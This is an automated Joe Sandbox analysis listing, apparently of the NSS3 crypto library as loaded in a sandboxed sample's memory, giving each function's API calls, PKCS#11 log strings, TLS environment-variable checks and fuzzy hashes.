Opcode Fuzzy Hash: 05f370f4391f6e60c16a354e51403647e94a7123490f5032f7bcc86e5d5bfe4b
Instruction Fuzzy Hash: CC41D1B5601104AFEB009F64DE4DE8A7BB1AB8231CF884025E808A7B11DF35E919CF96

Function 6C628820 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6C628846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C628874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C628883

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C628899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C6288BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C6288D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C6288EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C628907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C628979

Strings

npl, xrefs: 6C628921, 6C628955
C_DecryptVerifyUpdate, xrefs: 6C628841
(CK_INVALID_HANDLE), xrefs: 6C62887C
pulPartLen = 0x%p, xrefs: 6C628902
ulEncryptedPartLen = %d, xrefs: 6C6288CE
pPart = 0x%p, xrefs: 6C6288E7
hSession = 0x%x, xrefs: 6C62885E, 6C62886E
pEncryptedPart = 0x%p, xrefs: 6C6288B5
*pulPartLen = 0x%x, xrefs: 6C628974

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate$npl
API String ID: 1003633598-842452381
Opcode ID: ba06037e24275a11a95a33929daec1d492e855a93e056b5fd9a0914ff67d5b38
Instruction ID: 2c745bbfdc9a865b56c97d6e3dc1b58c8039ce187230e5b7827d91a058118b66
Opcode Fuzzy Hash: ba06037e24275a11a95a33929daec1d492e855a93e056b5fd9a0914ff67d5b38
Instruction Fuzzy Hash: BE41B6B6A01144AFEB008F54DE4CB8A7BB1EB4635DF884036E50867B21DF349918CF96

Function 6C629C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C629C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C629C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C629CA3

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C629CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C629CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C629CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C629D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C629D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C629D42

Strings

npl, xrefs: 6C629D5A, 6C629D91
ulPinLen = %d, xrefs: 6C629D0B
(CK_INVALID_HANDLE), xrefs: 6C629C9C
pUsername = 0x%p, xrefs: 6C629D24
userType = 0x%x, xrefs: 6C629CD5
pPin = 0x%p, xrefs: 6C629CF0
C_LoginUser, xrefs: 6C629C61
hSession = 0x%x, xrefs: 6C629C7E, 6C629C8E
ulUsernameLen = %d, xrefs: 6C629D3D

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$npl
API String ID: 1003633598-2962397174
Opcode ID: 531e3178841bc468ac0a3c5b82069d39caa797764b71c21d818829edbd127415
Instruction ID: e3d5fc3ee59649f99432a36b6e32130d0fe4289e8be2655a491c7204c4763ee0
Opcode Fuzzy Hash: 531e3178841bc468ac0a3c5b82069d39caa797764b71c21d818829edbd127415
Instruction Fuzzy Hash: BF41D2B1601544AFDB00DF54DE4CE8A7BF2AB8331EF884425E40867B11DF349918DFA6

Function 6C634C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C634C4C
EnterCriticalSection.KERNEL32(?), ref: 6C634C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C634CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C634CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C634CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C634D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C634D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C634DB7

Part of subcall function 6C69DD70: TlsGetValue.KERNEL32 ref: 6C69DD8C
Part of subcall function 6C69DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C69DDB4

Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07AD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07CD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07D6
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C57204A), ref: 6C5E07E4
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,6C57204A), ref: 6C5E0864
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5E0880
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,6C57204A), ref: 6C5E08CB
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08D7
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08FB

TlsGetValue.KERNEL32 ref: 6C634DD7
EnterCriticalSection.KERNEL32(?), ref: 6C634DEC
PR_Unlock.NSS3(?), ref: 6C634E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C634E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C634E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C634E71
free.MOZGLUE(00000000), ref: 6C634E7A
PR_Unlock.NSS3(?), ref: 6C634EA2
TlsGetValue.KERNEL32 ref: 6C634EC1
EnterCriticalSection.KERNEL32(?), ref: 6C634ED6
PR_Unlock.NSS3(?), ref: 6C634F01
free.MOZGLUE(00000000), ref: 6C634F2A

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: d6eb755e26984e9375c232209134032cb18a957fdf8aede0a2abe64873bba1a7
Instruction ID: 4ea74135ef6c28698d3976d3d81042d9c05fdedef01139d2e31d0730826b7c8a
Opcode Fuzzy Hash: d6eb755e26984e9375c232209134032cb18a957fdf8aede0a2abe64873bba1a7
Instruction Fuzzy Hash: 97B14671A002159FDB00EF68CC44AAABBB4FF46319F046079EC0997B40EB72E965CBD5

Function 6C686E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C686BF7), ref: 6C686EB6

Part of subcall function 6C5E1240: TlsGetValue.KERNEL32(00000040,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E1267
Part of subcall function 6C5E1240: EnterCriticalSection.KERNEL32(?,?,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E127C
Part of subcall function 6C5E1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E1291
Part of subcall function 6C5E1240: PR_Unlock.NSS3(?,?,?,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C72FC0A,6C686BF7), ref: 6C686ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C686EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C686EFC
PR_NewLock.NSS3 ref: 6C686F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C686F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C686BF7), ref: 6C686F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C686BF7), ref: 6C686F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C686BF7), ref: 6C686FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C686BF7), ref: 6C686FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6C686FF8
SSLKEYLOGFILE, xrefs: 6C686EB1
SSLFORCELOCKS, xrefs: 6C686F2B
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C686F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C686EF7
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C686FDB

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 523ab0fc9d9fd15e9ed03e7305a05728e5c310c76df37732c82aeda43e9b0da4
Instruction ID: ee5ce35427c80b308f8c9a209862847e93e751acf2bd487e16561ce15511f04d
Opcode Fuzzy Hash: 523ab0fc9d9fd15e9ed03e7305a05728e5c310c76df37732c82aeda43e9b0da4
Instruction Fuzzy Hash: 42A12DB2B6B99187E710463CCC0179432A2A78732EF984375FA31C7EE5DF75D44082AA

Function 6C605DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C605DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C605E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C605E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C605E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C605EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C605ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C605F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C605F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C605F89
free.MOZGLUE(?), ref: 6C605FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C605FB6
free.MOZGLUE(00000000), ref: 6C605FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C60600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C606079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C606084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C606094

Strings

, xrefs: 6C605EEB

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: b653bb2bc83b048170489e369276ad2849dcf2720e5b577ce0254222cd49d7ab
Instruction ID: 057120721be2c27766b50066a24b529803e50cfe76a72e08e59b062240590d97
Opcode Fuzzy Hash: b653bb2bc83b048170489e369276ad2849dcf2720e5b577ce0254222cd49d7ab
Instruction Fuzzy Hash: 6B81F2B1F002059BDB088F24CE80BAE77B4AF45318F148528E95AF7781E735E855CB9E

Function 6C65E8C0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6C65E853,?,FFFFFFFF,?,?,6C65B0CC,?,6C65B4A0,?,00000000), ref: 6C65E8D9

Part of subcall function 6C650D30: calloc.MOZGLUE ref: 6C650D50
Part of subcall function 6C650D30: TlsGetValue.KERNEL32 ref: 6C650D6D

Part of subcall function 6C65C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C65DAE2,?), ref: 6C65C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6C65E972
PORT_ArenaMark_Util.NSS3(?), ref: 6C65E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C65EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C65EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C65EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C65EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6C65EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C65EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6C65EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6C65EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6C65EBEC
free.MOZGLUE(00000000), ref: 6C65EC58

Strings

Sel, xrefs: 6C65E9CA, 6C65EAAB

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID: Sel
API String ID: 759478663-1162152682
Opcode ID: 3fc467531b819fbbf2f4a7c75a52e84b0b632fa0e5f22ac0c5201461ed480a4e
Instruction ID: e9168e9293cff45090996ab1a8e46964034349674a76efcdd3cb6d3a8a46196c
Opcode Fuzzy Hash: 3fc467531b819fbbf2f4a7c75a52e84b0b632fa0e5f22ac0c5201461ed480a4e
Instruction Fuzzy Hash: DCC1A6B1E002059FEF04CF69D981BAA77F4BF09318F640069E916A7B51E735E824CBD9

Function 6C624E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C624E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C624EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C624EC7

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C624EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C624F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C624F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C624F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C624F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C624F68

Strings

npl, xrefs: 6C624F82, 6C624FB2
(CK_INVALID_HANDLE), xrefs: 6C624EC0, 6C624F13
C_GetAttributeValue, xrefs: 6C624E7E
pTemplate = 0x%p, xrefs: 6C624F4A
hObject = 0x%x, xrefs: 6C624EF5, 6C624F05
ulCount = %d, xrefs: 6C624F63
hSession = 0x%x, xrefs: 6C624EA2, 6C624EB2

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$npl
API String ID: 1003633598-1405801257
Opcode ID: 4077469f5f64050e39e49f6fb1e4c36367af1b1d5b8e4aabfa1c3b5bdbca3a1e
Instruction ID: 02e47d71fb7d38085a9e543781e1a266ae69a0ea274e87e9c98f3a16ad6974f3
Opcode Fuzzy Hash: 4077469f5f64050e39e49f6fb1e4c36367af1b1d5b8e4aabfa1c3b5bdbca3a1e
Instruction Fuzzy Hash: D241B3B1601144ABEB009F54DE8CFAB7BB5AB9235DF484025E40857B11DF789A08CF9A

Function 6C624CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C624CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C624D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C624D37

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C624D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C624D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C624D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C624DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C624DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C624E20

Strings

npl, xrefs: 6C624DD4, 6C624DFF
C_GetObjectSize, xrefs: 6C624CEE
(CK_INVALID_HANDLE), xrefs: 6C624D30, 6C624D83
*pulSize = 0x%x, xrefs: 6C624E1B
pulSize = 0x%p, xrefs: 6C624DB7
hObject = 0x%x, xrefs: 6C624D65, 6C624D75
hSession = 0x%x, xrefs: 6C624D12, 6C624D22

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$npl
API String ID: 1003633598-1185938464
Opcode ID: da8cd4dd90ae20f4d2887ece8ddc5a7f61a918d3445169da6c1a6499dc858601
Instruction ID: 337ac8dcbd50eb488f575926dada62be256cf71e68c6eb3f5ea15c7f33b6207e
Opcode Fuzzy Hash: da8cd4dd90ae20f4d2887ece8ddc5a7f61a918d3445169da6c1a6499dc858601
Instruction Fuzzy Hash: 5841B6B1601204AFEB009F54DE8CB6A3BF5EB5635DF484435E8086BA11DF789D48CF9A

Function 6C627C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C627CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C627CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C627CF3

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C627D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C627D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C627D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C627D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C627D77

Strings

npl, xrefs: 6C627D8F, 6C627DC3
(CK_INVALID_HANDLE), xrefs: 6C627CEC
pData = 0x%p, xrefs: 6C627D25
pSignature = 0x%p, xrefs: 6C627D59
hSession = 0x%x, xrefs: 6C627CCE, 6C627CDE
ulDataLen = %d, xrefs: 6C627D40
ulSignatureLen = %d, xrefs: 6C627D72
C_Verify, xrefs: 6C627CB1

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$npl
API String ID: 1003633598-2788668401
Opcode ID: 29208c1756a68bed35ae7d8d0e8afcc687bcd4d454a077ef7f5651d5d59ef557
Instruction ID: 45aaa3fe38a75aaa8c0d96565d4da3631fcc29b28c26dd52527f93a9c138199c
Opcode Fuzzy Hash: 29208c1756a68bed35ae7d8d0e8afcc687bcd4d454a077ef7f5651d5d59ef557
Instruction Fuzzy Hash: A931B3B1601144AFDB009F64DE4CEAA7BF1AB4631DF884425E80867B11DF349958CFAA

Function 6C622F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C622F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C622F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C622F63

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C622F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C622F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C622FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C622FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C622FE7

Strings

npl, xrefs: 6C622FFF, 6C623030
ulOldLen = %d, xrefs: 6C622FB0
(CK_INVALID_HANDLE), xrefs: 6C622F5C
C_SetPIN, xrefs: 6C622F21
pNewPin = 0x%p, xrefs: 6C622FC9
ulNewLen = %d, xrefs: 6C622FE2
hSession = 0x%x, xrefs: 6C622F3E, 6C622F4E
pOldPin = 0x%p, xrefs: 6C622F95

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
